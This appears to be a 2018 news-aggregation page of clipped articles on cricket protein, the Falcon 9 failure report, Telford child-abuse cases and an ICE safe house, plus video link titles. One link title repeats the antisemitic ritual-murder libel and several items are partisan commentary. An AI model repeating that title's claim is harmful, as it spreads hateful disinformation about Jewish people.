High in protein (13 g per 2 ½-tbsp/19 g-serving), cricket powder contains calcium, iron and 100 per cent of the daily value for vitamin B12. ''From a nutrition standpoint, it is really interesting because not only are crickets a source of protein, but they also have other vitamins and minerals in there,'' registered dietitian Vincci Tsui says. ''Because cricket powders are still holding the full cricket, you're getting the iron, vitamin B12 and the calcium that's in the cricket itself, whereas you might not be getting that with a protein powder.''
Cricket powder adds a hit of protein to these no-bake bars. The recipes is available on the Presidents Choice website. President's Choice Foods rich in B12 are of particular interest to vegans and vegetarians, as animal products are the primary dietary source of the vitamin. But as insects also belong to the animal kingdom, cricket powder is unlikely to appeal to many (if at all) in the plant-based consumer segment. ''It's hard to wrap my mind around because if you're using cricket, you're not a vegan or vegetarian anyway,'' registered dietitian Amanda Li says. ''In my opinion, if you're going to be eating fish, chicken or turkey '... you probably don't need to add more protein on top of that unless you're trying to be more sustainable.'' She adds that, much like the Meatless Monday movement, an omnivore might choose to swap poultry, fish or meat for insect protein at regular intervals for reasons other than a strict dietary need.
According to Allen, early adopters of insect protein tend to be people who are health- and/or environmentally-focused. As more Canadians adhere to specific diets, the timing of cricket powder's increased availability is advantageous. A recent poll conducted by Dalhousie University found that 32 per cent of adults ''observe some sort of committed dietary regimen.'' While products like cricket powder provide a gateway for consumers who might otherwise be wary of eating bugs, Allen points out that there's a variety of entry points for different consumers.
For people who like to cook, and are looking for ways to add unique properties to homemade dishes, cricket powder is a good choice. Others may be interested in eating insects but have no desire to make their own bug-fortified foods. For this segment, a cricket protein bar or cricket tortilla chip might fit the bill. ''There are a variety of different applications and, as the industry has grown '' even in the last two years '' the diversity of applications has grown,'' Allen says. ''So we've seen more and more ways that these start-up companies are looking at using the insects in their products and ingredients.''
He offers the example of Toronto-based One Hop Kitchen, and its cricket and mealworm Bolognese sauce. When Little Herds taste-tested the cricket variety on roughly 800 people at Earth Day Texas, only one in 10 people could tell the difference between it and a beef version. ''Pretty much everybody preferred the flavour and texture of the cricket pasta sauce,'' Allen says. ''And their value statement is: every jar of (insect protein) pasta sauce saves 18 bathtubs (1,900 L) of water compared to the beef. To be able to put that impact into perspective for consumers after they do a blind taste test and can't even tell '' that's really powerful.''
There's a growing body of research supporting insect protein as a nutritious and sustainable choice. Star chefs such as Ren(C) Redzepi, Alex Atala and Sang Hoon Degeimbre are well-versed at presenting insects, enticingly, on the plate. With celebrities including Justin Timberlake, Nicole Kidman and Angelina Jolie openly partaking in entomophagy, will increased availability have a significant impact on consumer demand in Canada?
Jarrod highlights the need for a shift in point-of-reference when it comes to what we choose to eat: ''Food that's healthy is not icky and food that's unhealthy is icky.'' In the West, we have the opportunity to live longer and better than ever before, but ''to some degree, we screwed it up by how we chose to go about food,'' he adds. Reframing what makes food desirable is essential, but not at the expense of deliciousness. According to the University of Cambridge, rationally acknowledging healthful benefits is not enough to affect food choices. The adage is accurate: people go with their gut. Food can be perceived as ''healthy'' but it must also be considered tasty.
''It's using that Homer (Simpson) brain, Spock brain duality to get that first try. And get that first try in a positive environment,'' Allen says. ''If your first experience is at a restaurant, if your first experience is one of these products that are designed to be delicious and are extolling those virtues, then you have a really positive experience to draw on the next time someone else says, 'Ewww gross! Bugs!' You'll be, 'Actually, I tried some and it was pretty good.'''
Breaking the initial fear factor is one barrier, but the cost of insect-eating remains prohibitively high for many Canadians. A 113-gram (quarter pound) bag of PC-brand cricket powder retails for $13.99. A 473-mL (16-fl oz) jar of the aforementioned cricket Bolognese sells for $9.99. The price is reflective of this being an emerging industry, Allen explains. The economy of scale achieved by other products on the grocery-store shelf doesn't apply because insect farming is so new. This underscores why normalization is so important, he adds.
It's a fact that hasn't escaped the Goldin brothers on their farm in Norwood. They see their innovations supporting the idea that food should be functional and healthy; both good for you and good for the planet. ''It's up to us to do it efficiently and bring the cost down so that everybody can afford it, or find other ways to subsidize it,'' Jarrod says.
From the EU's new insect-related food rules to the FAO's continued promotion of bugs as one of the solutions to global food insecurity, the business of raising ''mini-livestock'' is poised for growth. But it still has a long way to go in winning over the eating zeitgeist. When compared to other animal agriculture in Canada '' beef cattle, dairy cows, pigs, poultry and sheep '' Entomo is far from conventional. As trailblazers, theirs is a story of innovation and forward-thinking. Now the question is: Will Canadian consumers go along for the ride and reap the bug-based benefits?
Out There
NASA on SpaceX's 2015 big boom: Bargain bin steel liberated your pressure vessel ' The Register
Sun, 18 Mar 2018 13:06
NASA has fingered design failings by SpaceX in a much-delayed report (PDF) on the 2015 explosion of a Falcon 9 on its way to the ISS.
The 28 June 2015 launch followed six successful flights to the orbiting outpost (two on the original Falcon 9 v1.0 and four on the v1.1 incarnation).
Unlucky number seven began normally enough, leaving launchpad LC40 at 14:21 UTC and powering through the first 139 seconds of flight without issue.
At 139 seconds, the second stage of the vehicle experienced what SpaceX called in their July 2015 report an "overpressure event", resulting in a bad day all round.
The Falcon 9 exploded but the Dragon cargo freighter survived and continued transmitting data up until it disappeared over the horizon.
It eventually scattered freshly laundered astronaut pants over the Atlantic as it impacted the ocean.
Almost three years after SpaceX's investigation, NASA has now published its own take on the matter, including some additional detail and recommendations for the commercial space upstart.
It is not clear why the summary report has taken so long to be made public.
NASA's Independent Review Team (IRT) took a look at SpaceX's own investigation and the available evidence and came up with the conclusion that "a helium filled composite overwrapped pressure vessel (COPV) within the Stage 2 LOx tank had become liberated, and had hit the LOx tank dome causing it to rupture", pretty much agreeing with SpaceX.
The IRT investigated two other scenarios, involving the LOx transfer tube that runs to the stage 2 engine, but couldn't create thermal conditions as spectacularly destructive as punching a hole in the tank itself.
Before SpaceX can pat itself on the back for solving the mystery nearly three years ahead of NASA, the IRT has some stern words.
The use of industrial rather than aerospace-grade steel in rods holding the COPV in place was a design error on the part of SpaceX and a direct cause of the accident.
The IRT also voiced concerns about the telemetry spewed to the ground by the "full thrust" incarnation of the Falcon 9 with data related to the accident lost due to latency caused by buffering in the second stage flight computer.
The report ends by noting that all findings were closed or "mitigated" prior to the last flight of the Falcon 9 v1.1, January 2016's Jason-3 mission.
A Falcon 9 v1.2 exploded on the launchpad later in 2016, destroying LC40 and $200m of Israeli satellite in a face-plantingly foolish test involving fuelling and firing up the engines while the payload was attached. In that incident, the Falcon blew up before the nine Merlin engines got a chance to start.
A slew of successful launches since then means there won't be anything to worry about when Musk starts playing with really big rockets in 2019. ®
Sponsored: Minds Mastering Machines - Call for papers now open
CLIPS
VIDEO - Pelosi Mocks Trump's Border Wall Prototype for Being Too High, Calls it 'Obnoxious' - YouTube
Sun, 18 Mar 2018 14:49
VIDEO - Elizabeth Warren nails her lines on the Sunday shows | SUPERcuts! #578 - YouTube
Sun, 18 Mar 2018 14:47
VIDEO - Jewish Kabbalistic Occult Ritual Child Murder throughout history Ekhad - YouTube
Sun, 18 Mar 2018 14:33
VIDEO - Liberal Nick Clegg Claims That BREXIT Supporters Are Dying Out.... - YouTube
Sun, 18 Mar 2018 14:24
VIDEO - Russian Hackers Could Have Shut Down U.S. Power Plants, Experts Say : NPR
Sun, 18 Mar 2018 12:45
Russian Hackers Could Have Shut Down U.S. Power Plants, Experts Say : NPRRussian Hackers Could Have Shut Down U.S. Power Plants, Experts SayThe U.S. says Russian hackers targeted American utility companies in a series of cyberattacks. Nothing was disrupted, but experts say the hackers could have shut down power plants at will.
VIDEO - ProPublica's Gina Haspel Correction: CIA Nominee 'Did Not Oversee Waterboarding of Abu Zubaydah' : The Two-Way : NPR
Sun, 18 Mar 2018 12:36
ProPublica's Gina Haspel Correction: CIA Nominee 'Did Not Oversee Waterboarding of Abu Zubaydah' : The Two-Way : NPRProPublica's Gina Haspel Correction: CIA Nominee 'Did Not Oversee Waterboarding of Abu Zubaydah' : The Two-WayThe investigative and fact-checking newsroom is retracting parts of its story that had resurfaced after Gina Haspel was picked by President Trump to lead the CIA.
VIDEO - Mike Rowe: Men feel emasculated by unemployment - YouTube
Sun, 18 Mar 2018 12:20
VIDEO - Understanding Generation Z Customers by OPEN Forum - YouTube
Sun, 18 Mar 2018 11:56
VIDEO - Hundreds of dead rabbits found in new areas of Nanaimo
Sun, 18 Mar 2018 11:27
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Around 300 dead rabbits have been found in Nanaimo since the start of this month, as the deadly rabbit hemorrhagic virus emerges in new areas.
Nanaimo Animal Control says they have seen numbers around Vancouver Island University decrease, but they are getting more in Beban Park, around the Nanaimo Regional General Hospital and near Westwood Road '-- all north of the university.
"We are still picking up lots in those new areas, and a couple near north Jingle Pot Road and Turner Road," said Carley Colclough, the pound coordinator at Nanaimo Animal Control.
"It appears to be the same virus and the government has been quite active in researching the exact strain."
The virus, first found at the beginning of March concentrated around VIU, has also recently been found in the Comox Area.
It's the third confirmed diagnosis of this virus in Canada and the first in B.C.
Rabbit owners are advised to be extremely cautious as it's an extremely infectious and lethal disease for rabbits. It does not pose a threat to humans or other animals.
"It's impossible to say if you have stepped on some feces, or somehow inadvertently come in contact with the virus," added Colclough.
"Keep your bunnies inside and be very cautious with your shoes and clothing, and report any deceased [rabbits] to us and we will come pick them up."
File photo
VIDEO - MSNBC's Nance: McCabe's Firing Comes Out of the KGB's Playbook | Breitbart
Sun, 18 Mar 2018 01:19
MSNBC terrorism analyst Malcolm Nance likened former Deputy FBI Director Andrew McCabe's dismissal to something seen in the KGB's playbook because President Donald Trump was going after FBI agents and leadership.
''You know, you always hear this phrase, 'This came out of Putin's playbook' '-- well, this actually comes out of an older playbook, the KGB's playbook. They had a four-point plan for how KGB operations propaganda and agents were to operate against both the CIA and the United States law enforcement,'' Nance explained Saturday on MSNBC. ''[The] first was to use activities that would demoralize, discredit or disinform about their operations, then they would go after individual agents, then they would go after their leadership. Donald Trump is literally playing by the Russian playbook on this.
He later added, ''This is a disgusting disgrace that Donald Trump would allow this to happen, but he's engineering it.''
Follow Trent Baker on Twitter @MagnifiTrent
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VIDEO - Islands of Adventure ride: Woman felt fat shamed | WFTV | WFTV
Sat, 17 Mar 2018 23:32
Woman says she felt fat-shamed at Islands of Adventure ride
ORLANDO, Fla. - A woman said she felt fat-shamed when she was unable to ride Skull Island: Reign of Kong at Universal's Islands of Adventure.
Angel Morales said she asked workers if she could ride the ride bench with one fewer person so that she wouldn't make anyone sitting beside her feel uncomfortable.
Morales said she felt humiliated when employees declined her request.
Read: Simpsons could be bargaining tool between Disney, Fox
The theme park doesn't have weight restrictions, so Morales said she didn't know she couldn't go on the ride until she was about to board it.
Morales said she bought annual passes to the park last year and couldn't wait to check out The Wizarding World of Harry Potter.
"(I) couldn't fit on any of the Harry Potter rides because of my weight," she said. "(I) did a lot of bag-holding in Diagon Alley and that kind of thing."
Read: Walt Disney World to charge hotel guests for overnight parking
She had hoped to ride the King Kong attraction, because its seat is a bench without a safety bar, but when she got to the front of the line, she told her daughters that she didn't think they'd fit without making others uncomfortable, Morales said.
A man waiting in line overheard their conversation and offered to wait for the next available ride so Morales could ride with her daughters.
During another trip to the park, Morales said she tried to spare herself from further embarrassment by asking workers if one fewer person could ride in her row.
Read: SeaWorld CEO Joel Manby departs as company's losses widen
She said they wouldn't allow it, because they said they have to "push for capacity."
"It's somewhat humiliating to have to ask for an accommodation because of one's weight -- that you have to put yourself out there and kind of beg to be able to ride and embarrass yourself because of weight," Morales said.
She filed a discrimination complaint with the Florida Commission on Human Relations. She said overweight people should be a protected class.
Read: Pedestrian bridge to cross Kirkman near Universal, light up at night
"Their interest is getting bodies and getting money and not accommodating paying customers," she said. "That's how I felt."
Morales said she was offered a $100 gift card, dinner and movie tickets, but she doesn't plan to return to the park.
Channel 9 asked Universal if it trains its workers to handle such incidents and if it considers Morales' request unreasonable.
"While we don't comment on specific guest situations, we always strive to treat our guests with respect and we work to accommodate special requests when we can," a company spokesman said.
Read: Wizarding World of Harry Potter in Orlando: Visitors guide
(C) 2018 Cox Media Group.
VIDEO - Stormy's lawyer: Some incidents took place during Trump presidency
Sat, 17 Mar 2018 16:06
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VIDEO - Panelists erupt over Trump-Stormy Daniels saga - CNN Video
Sat, 17 Mar 2018 16:02
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VIDEO - Telford social services 'did nothing' to stop illegal relationship | Daily Mail Online
Sat, 17 Mar 2018 15:30
George Lowe has spent almost 18 years reliving the terrible night that his wife Eileen and their two teenage daughters were murdered. Woken just after 3.30am by the piercing sound of a smoke alarm, he opened his bedroom door and was immediately knocked back by a wall of thick, acrid smoke.
Unable to make it across the landing, where Eileen, 49, was sleeping with their disabled elder daughter Sarah (the 17-year-old was afraid of the dark and often needed comforting at night), he returned to the bedroom, pulled on some trousers and clambered out of the window.
In 'complete shock', George banged on the next-door neighbour's door. They called the fire brigade but, as he recalled this week, 'with fire that strong, it was too late'.
The 56-year-old deliveryman was in the Princess Royal Hospital in Telford when he learned the fire had killed both Eileen and Sarah. Also dead was his younger daughter, Lucy, who was 16 and had been trapped in a third bedroom.
The only other family member to survive was Lucy's 15-month-old daughter Tasnim, who was found wrapped in a blanket in the garden.
Lucy Lowe was 16 and pregnant with her second child when she was murdered alongside her sister Sarah, 17, and their mother Eileen, 49, in a house fire in Telford set by Lucy's boyfriend, Azhar Ali Mehmood
Lucy's boyfriend Azhar Ali Mehmood '-- a Pakistani immigrant who was the baby girl's father and had been visiting that night '-- escaped with minor injuries.
In the days that followed the tragedy in August 2000, police said the deadly fire had almost certainly been started deliberately. Traces of petrol were found on the downstairs carpets of the terraced property in a leafy cul-de-sac in Leegomery, a working-class area of Telford.
Initially there was speculation that the attack was racially motivated. There was talk of it being a 'hate crime' perpetrated by thugs opposed to Lucy and Azhar's mixed-race relationship.
In the event, a different '-- and far more sinister '-- story emerged.
First, CCTV footage from a nearby garage emerged showing Lucy's boyfriend buying petrol minutes before the fire began.
Then neighbours told police they'd heard the couple arguing furiously earlier that night, and seen him loitering outside the building as the blaze took hold.
Mehmood was soon charged with three counts of murder and one of attempted murder. After a short trial at Stafford Crown Court in October 2001, he was found guilty and sentenced to life imprisonment, with a minimum of 18 years.
Among many troubling facts presented to the jury during the trial was that Mehmood '-- who Lucy's mother and father believed was a teenager '-- had actually been an adult in his mid-20s.
Appallingly, it emerged that he'd first slept with Lucy when she was just 14 years old and he was a 24-year-old taxi driver. He got her pregnant with Tasnim shortly afterwards.
That made him guilty of child rape. Yet the local authority '-- which registered Tasnim's birth and provided Lucy, as an underage mother, with support from social services '-- had done nothing to stop what was an illegal and exploitative relationship.
Indeed, Lucy was pregnant for a second time when she died.
No one had seen fit to inform Lucy's parents that their child's 'boyfriend' was actually a decade older than her, either.
'He looked pretty young,' recalls her father George. 'It wasn't until Lucy died that we found out that he was actually almost twice her age, and seemed to have a wife and children back in Pakistan.
'It was a complete shock.
'If we had known then, like any parents, we'd have tried to stop it. But we were kept in the dark. Social services said nothing. The police showed no interest, despite it being rape, a crime.
'To this day, I still ask myself: why did they do nothing?'
Why indeed. Yet despite George's palpable anger, no inquiry was held. Mehmood was never charged with a sexual offence, either, and no serious attempt was ever made to establish what, exactly, had gone wrong. In the eyes of the authorities, Lucy Lowe was, in other words, forgotten.
Until now, that is. For this week, George Lowe's teenage daughter emerged as a key figure in what is being described as the worst abuse scandal in British history.
Azhar Ali Mehmood was later jailed for life after being convicted of three counts of murder '' but was never arrested or charged over sex abuse (pictured: Lowe's family home after fire)
Lucy was named as one of three girls from Telford who are believed to have died after falling into the clutches of brutal sex gangs who have been preying on young teenage girls in the small Shropshire town, with virtual impunity, for almost 40 years.
Up to 1,000 children, according to one expert analysis, are thought to have been abused during that time by the network of local men, most of whom worked for taxi firms and in fast food restaurants.
Other victims included Rebecca Watson, a 13-year-old who was killed in a car accident in 2002, and Vicky Round, who died in a drug incident after a grooming gang got her hooked on crack cocaine at the age of 12.
Crucially, in an echo of similar scandals that have blighted Rotherham, Rochdale, Oxford and a string of towns and cities across the UK, the vast majority of victims have tended, like Lucy, to come from white, working-class families.
Their abusers, meanwhile, have hailed predominantly from the Pakistani community.
As a result, police, schools, councils and social services have repeatedly been accused of failing to properly investigate the abuse for fear of being accused of Islamophobia.
Such appallingly misguided political correctness has, of course, been the subject of fierce criticism and sparked much soul-searching in political circles.
It has spawned a number of high-profile reports, most notably social worker and academic Alexis Jay's 2014 inquiry into the Rotherham scandal.
Her report concluded that an astonishing 1,400 children as young as 11 had been lured into sex slavery in the Yorkshire town, largely by Muslim men. Some had guns pointed at them, or were doused with petrol and threatened with being set alight if they did not prostitute themselves. Others were plied with drugs and alcohol before being gang raped.
Though rumours of such vile activity had for years been reaching the authorities, whistle-blowers were routinely silenced because council staff 'feared appearing racist'.
Professor Jay found that three separate reports highlighting the abuse were 'suppressed or ignored' because the local authority was 'in denial'.
One council worker in Rotherham who attempted to raise the alarm was even told 'you must never refer to Asian men' when talking about the systematic abuse, before being sent for diversity training.
I spent this week in Telford, meeting victims of abuse and their families, along with local abuse campaigners and politicians. And the chilling truth is that almost everyone believes that this quiet Shropshire town is another Rotherham '-- and, what's more, that widespread abuse is still going on.
Take 'Susannah', a single mother of three teenage girls who contributes to a local Facebook page campaigning against child abuse.
She recently moved home, away from the suburb of Hadley, after growing 'seriously concerned' at sexualised comments being directed at her 14-year-old daughter by gangs of Asian men loitering in the street.
'It got to the point when she couldn't walk 400 yards to the shop without being spoken to in ways I found inappropriate,' Susannah says.
Another mother, 'Charlie', who also contributes to the site, has banned her daughter from attending under-age discos held monthly at a nightclub in a working-class area of Wellington, in Telford, after witnessing 'car-loads of adult men, loitering outside, trying to lure girls into their cars at chucking out time'.
Then there is Anthony Wood, who was in the same class as Lucy Lowe at Charlton School, the town's biggest comprehensive.
He is organising a protest, Justice for the Telford Girls, next Saturday in the town centre aimed at shaming the authorities into taking the grooming scandal seriously. 'I know of at least five girls in my year at Charlton who were going out with much older Pakistani men '-- girls who only realised years later that they were being exploited,' he says.
'It's still going on. Drive around council estates in the evening, and you'll see bus stops where men in taxis are openly picking up teenage girls. No one is looking out for them. If these girls came from upper class or middle class parts of town, it would never be allowed to happen.' Almost everyone you meet is rightly anxious to stress that the vast majority of their town's small Muslim community are decent and entirely law abiding citizens.
Mehmood (pictured) first slept with Lucy when she was just 14 years old and he was a 24-year-old taxi driver. Lucy's father George has said he had no idea how old Mehmood was, and the local authority did not tell him
They add that Telford, a conurbation of villages originally turned into a 'new town' in the 1960s, has never historically experienced racial problems, partly because (unlike Rotherham, Bradford, Rochdale and other towns affected by grooming scandals) it has experienced very little immigration. Today, a mere five per cent of the population is Asian, according to census figures.
Yet many believe the failure of authorities to properly hold to account those involved in grooming gangs will fuel ethnic tension.
Recent years, for example, have seen a number of protest marches in town organised by the far-Right English Defence League, a group whose leaders were recently jailed for inciting racial hatred. During one march its members stormed the town's largest mosque.
Causing further consternation is the growing stench of a cover-up.
Telford Council, which has been run by Labour since 2011, finally caved into pressure this week to hold an independent inquiry into the scandal.
But even then its leader suggested that the inquiry would be banned from looking at events that took place in the eight years since his party took power.
It is unclear why '-- beyond a cynical effort to avoid criticism '-- this period ought to escape scrutiny. After all, it emerged this week that the council received 715 child sexual exploitation referrals between 2013 and 2016, but referred less than half of them to its own safeguarding team.
Meanwhile Telford's Conservatives have what sources describe as 'credible evidence' that the council's earlier internal inquiry in 2016 '-- an 'internal scrutiny report' into its handling of the scandal '-- was 'seriously watered down' before publication.
'A number of damning statements included in draft copies of the report appear to have been removed before it saw the light of day,' says a source.
Residents I spoke to were also outraged by claims from local police chief Tom Harding on TV on Wednesday that the scale of abuse was being 'sensationalised', not least because Home Office figures from 2016 reveal that their town has the highest rate of child sex abuse in Britain.
Later that day, his force sheepishly admitted that 46 children in Telford are, even now, formally classified as being 'at risk' of abuse.
The same police force in 2016 temporarily suspended its chaplain, Keith Osmund-Smith, for speaking out about the scandal. Meanwhile a worker with Axis Counselling, a police-funded charity helping sex abuse victims, was forced out of her job after trying to raise similar concerns.
Yesterday, the police's efforts to play down the scandal were undermined by Telford's Tory MP, Lucy Allan, who first raised the abuse scandal in Parliament this week. In an interview, she revealed that she has since been 'inundated with emails saying ''this has happened to me''.'
Grooming gangs have, in truth, been on the news agenda in Telford since 2012, when seven local Pakistani men were convicted of turning young white girls into 'sexual commodities' '-- who, in the words of prosecutors, were 'passed around and used as meat' '-- and sentenced to a total of almost 60 years in prison.
The ringleaders were Mubarek and Ahdel Ali, married brothers aged 29 and 24, who were found guilty of sexual abuse, trafficking, and prostitution of children. They were jailed for 14 and 18 years respectively. Another of the group, 31-year-old Mohammed Ali Sultan, was jailed for seven years for a number of rapes, including on a 13-year-old girl.
By chilling coincidence, he spent his teenage years at Charlton School with Lucy Lowe. All seven prosecutions stemmed from Operation Chalice, a major police investigation into child grooming in Telford.
In 2013, it was the subject of a hair-raising Dispatches television documentary in which victims told how they were lured into relationships which soon became coercive and violent.
One interviewee spoke of being 'raped constantly' for between ten and 13 hours. Several other girls, some as young as 13, said they were taken to filthy rooms above a curry house and sold to restaurant workers.
Over time, detectives working Operation Chalice '-- which focused on the two-year period between 2007 and 2009 '-- identified more than 100 victims and 200 perpetrators of abuse. Child brothels were raided above chip shops and a fried chicken outlet.
However, only nine abusers, including the seven jailed in 2012, were ever successfully prosecuted and the police inquiry was subsequently closed.
That leaves more than 190 abusers still unaccounted for.
Mubarek Ali, 34, (left) and his brother Ahdel Ali, 27, (right) from Telford were both jailed after sexually abusing young girls in a child sex abuse ring
What's more, it begs the question of exactly how widespread child sexual exploitation was in the years that fell outside Operation Chalice's small two-year window, along with why on Earth we should believe such behaviour has stopped.
Evidence unearthed this week suggests that abuse began in 1981, when two paedophiles began targeting girls in a local children's home and trafficking them around the country.
It first crossed the agenda of social workers in Telford in the early 1990s, but it was a decade before any concerns were passed on to the police.
Previously unseen files, some disclosed under Freedom of Information legislation, reportedly show that council staff viewed abused and trafficked children as 'prostitutes', not victims, and that '-- in a depressing echo of Rotherham '-- they failed to properly investigate for fear of 'racism'.
Meanwhile an internal police memo, sent to officers investigating child rape, emerged. In an astonishing turn of phrase (given the horrific nature of the crime) it stated that when young girls were being sexually abused by gangs of much older men, 'in most cases the sex is consensual'.
A dozen victims, who were abused more recently, are said to have identified a ring of 70 perpetrators to a Sunday newspaper. One schoolgirl said that she fell pregnant six times in four years.
Based on these disclosures, Professor Liz Kelly, from the Child and Woman Abuse Studies Unit at London Metropolitan University, has estimated that 1,000 children were abused in Telford over a 40-year period. Since the town has just 170,000 residents, compared to Rotherham's 260,000, that makes it the worst such scandal in British history.
All of which brings us back to Lucy Lowe. For this week, a resident of Telford using the pseudonym 'Holly Archer' gave a series of moving TV interviews explaining how she endured a 'whirlwind of rape' after being targeted by grooming gangs when she was just 14 years old.
Unbeknown to her parents, who were typically told she was visiting friends, Holly spent evenings after school having sex with multiple men, 'night after night' in 'disgusting takeaways and filthy houses'.
She had two abortions after falling pregnant and said she was raped just 'hours' after her second termination. The 'worst moment' was when she was drugged and gang-raped just after her 16th birthday.
Holly is the author of a memoir called I Never Gave My Consent which tells how she fell into the gang's clutches after Pakistani boys her own age sold her mobile number to its members.
Although she 'hated what was happening, and my abusers made my skin crawl', she didn't dare speak out because the gang had made that threat to burn down her house. 'Remember that name, Lucy Lowe,' they told her.
At the trial of Lucy's killer, back in 2001, prosecutors argued that the arson attack that killed her had taken place after a domestic argument between the couple, who had a tempestuous relationship.
Yet recent events, along with the testimony of victims such as Holly Archer, make George Lowe suspect that Azhar Mehmood wasn't the only culprit involved. He instead believes the arson attack may have been linked to the activities of a larger grooming gang.
One witness, Mr Lowe recalls, 'saw two people hanging around outside our house' shortly after the fire was started. And in the ensuing days, a close relative of Mehmood disappeared to Pakistan.
'There are just too many parallels between what happened to Lucy and what you hear about some of these other girls,' he says. 'So I think it all had something to do with this grooming lot. Maybe she was going to speak out, and they needed to silence her,' he said.
Recently, as Lucy's death returned to the headlines, George received a sinister phone call telling him to 'be careful' about making public comments about the scandal. As a result, he says police implemented security measures at his home.
Perhaps the one person who can shed light on it all is Mehmood himself. But don't hold your breath: he has never accepted responsibility or apologised for his crimes. This year he will be eligible for release from prison '-- a move that George Lowe has pledged to vigorously oppose.
'That man can still see his family but I can't,' he tells me. 'Instead, I have to go to the cemetery.' Like so many residents of this scandal-hit Midlands town, he's still waiting for real justice to be done.
VIDEO - Telford abuse: New victims come forward to police - BBC News
Sat, 17 Mar 2018 15:28
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Media caption Lucy Allan MP says "many young girls" have come to her to share their experiencesA number of new victims of child sexual exploitation (CSE) in Telford have come forward.
It comes after the Shropshire town's MP Lucy Allan said she had been "inundated" with reports since speaking about the issue in Parliament.
West Mercia Police said the reports relate to non-recent offences.
The new reports have been made since the Sunday Mirror reported that up to 1,000 girls in Telford could have been victims of CSE since the 1980s.
Assistant Chief Constable Martin Evans said he was pleased that a "small number of victims" have had the confidence to come forward and they were now being given appropriate support.
He confirmed that since 2016 the dedicated CSE team in Telford has arrested 56 people, resulting in 29 charges, with a number of these investigations still ongoing.
"The CSE reports we have received this week relate to non-recent child sexual exploitation offences and we will be reviewing them alongside any other available information, ensuring those reporting abuse are fully supported," he added.
ACC Evans has urged other victims, or anyone with information about crimes of this nature, to come forward.
Image caption Assistant Chief Constable Martin Evans is pleased that new victims have had the "confidence" to come forward West Mercia Police Supt Tom Harding, who is in overall charge of policing in Telford, said police and authorities in the town were working with "approximately 46 young people" who were victims of CSE or considered "at risk" and claimed reported figures had been "sensationalised".
However, Maggie Oliver, who resigned from her role as a detective inspector on the Rochale case over the way it was handled by police, said Telford will have more child sex victims than police claim to know about.
She said: "I've been saying since I first started speaking out publicly in 2011, and I went to the Home Office to say, that the figures that were being reported were not correct, they were being under-reported, under-recorded and the Home Office select committee accepted that.
"So these figures are not fabricated in my experience."
The Home Office has said the Independent Inquiry into Child Sexual Abuse will be looking at Telford in its investigation into CSE, but it is down to local authorities to decide whether a further review is necessary.
Ms Allan is pushing for the council to commission a separate report, but the authority said it wants the government to launch it to ensure its "independence and scope" is not questioned.
Image copyright Police and Getty Images Image caption Seven men were jailed in 2012 as part of West Mercia Police's Operation Chalice, including brothers Ahdel Ali and Mubarek Ali Seven men were jailed in 2012 as part of West Mercia Police's Operation Chalice, including brothers Ahdel Ali and Mubarek Ali.
The force said more than 100 girls could have been targeted by the gang between 2007 and 2009.
Many of the seven men worked for or had connections with fast food restaurants across Telford.
VIDEO - Jack Buckby: Telford rape scandal isn't unique - YouTube
Sat, 17 Mar 2018 15:27
VIDEO - MSNBC Host Sneers at Larry Kudlow for Believing in "God's Will"
Sat, 17 Mar 2018 15:23
Following in Joy Behar's steps, an MSNBC host openly mocked economist Larry Kudlow after he spoke about his faith in the guidance of God.
Kudlow had announced he'd be leaving CNBC to be the director of the National Economic Council. He remarked that it was hard to leave his longtime position with the network but he believed in God's plan.
''The last 25 years of my life has been tied up with CNBC, which changed my life, changed my profession, and it's been a family to me, and, however this thing works out, it will be God's will. If there's an opportunity when my service is complete, I hope very much to come back and help CNBC. It is my family, and it has changed my life.''
Stephanie Ruhle and co-host Ali Velshi appeared on CNBC on Thursday to discuss economic policy. While criticizing Kudlow Ruhle turned to his faith, saying she considered it ''interesting'' for an economist to discuss such things.
''If you noticed when Larry Kudlow spoke on CNBC yesterday, he ended by saying, 'However things work out, it will be God's will,''' Ruhle said.
He failed to acknowledge her rude comments, laughing instead.
''That's an interesting way to talk about being the national economic adviser to the president,'' Ruhle added, frowning. ''God's will?''
Later, Ruhle once again included a snide remark about Kudlow's faith that God has a plan.
''Well, as Larry Kudlow says, 'It's God's will.''
The open mocking of faith '' specifically Christian faith '' as if it were some new development in American history is becoming disturbingly common in left-wing media circles.
Maybe we need to start reminding these people of all the times their Democrat demi-gods have invoked the name of God. If we can't stop them from ridiculing the majority of the American population, at least we can demand they disperse that ridicule honestly and equally.
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VIDEO - Trump Tells Everyone Exactly Who Created Illuminati - YouTube
Sat, 17 Mar 2018 13:43
VIDEO - The Untouchables - YouTube
Fri, 16 Mar 2018 15:50
VIDEO - Inside a safe house, hiding from ICE
Thu, 15 Mar 2018 21:30
(CNN) The apartment's beige walls are bare except for a cross in the dining room and one near the bedroom. No pictures of the inhabitants are anywhere. The simple furniture is sparse and relatively new.
The mother and her two daughters who live here could disappear in minutes if needed.
They're on the run from Immigration and Customs Enforcement.
This apartment, empty of the family collections and clutter of a normal home, is their refuge. It is a safe house, though the unusual grouping that brought it together -- a Catholic Latino family, a Jewish woman and a Baptist minister -- know they could actually be raising their risk of getting in trouble with the government.
The woman who is the coverSitting on a dining chair in the apartment, seemingly serene, is the woman who made this happen. She wears a gold Star of David pendant and earrings inscribed in Hebrew. One reads, "I am nothing but ashes." The other says, "The whole world was made for me."
"The earrings remind me to take up the right amount of space in this world," says the Jewish woman. "Not too much, but not too little."
The woman wears a Star of David pendant. To her, the Holocaust is a permanent reminder that people could be kicked out of a country they thought was home.
In this little apartment, the Jewish woman is taking her space in the world and making her mark on a family with her defiance of US immigration policy. She signed the apartment lease and is the cover for the family who lives here, in a suburban California middle-class neighborhood, dotted with strip malls. Like the family she shelters, she asked for anonymity to avoid drawing the attention of the authorities.
Her own home has "much privilege," she says plainly, and she, her husband and her children have the contentment of a life being well lived.
She first heard about an interfaith network helping undocumented immigrants at her temple. A fellow congregant approached her about "a service opportunity."
The woman was intrigued.
"We, as a temple, we talk about it's our job to go out and do good in the world, to help the other," she remembers. "Here was something put in our laps, a really concrete way to make the world a better place."
The network began after the election of President Trump and the fears -- and then reality -- that undocumented immigrants would face stricter enforcement action.
For the woman, the link from the present to the history of World War II is strong.
"I grew up in the time where the Holocaust was not so far behind me," says the woman. "There was always that awareness, as a Jew, that it's possible to be kicked out of a country where people thought they were home. And many of those people didn't make it."
She says there is a strong feeling in the Jewish community. "We cannot let this happen. It's our responsibility. What was done to us cannot happen to other people."
So she took up the "service opportunity" and met a mother and her girls.
The family getting shelter"We can't talk to anyone. We can't tell anyone," says one of the daughters, a 17-year-old senior in high school. "Fear? You can't get rid of it. My mom's status isn't legal."
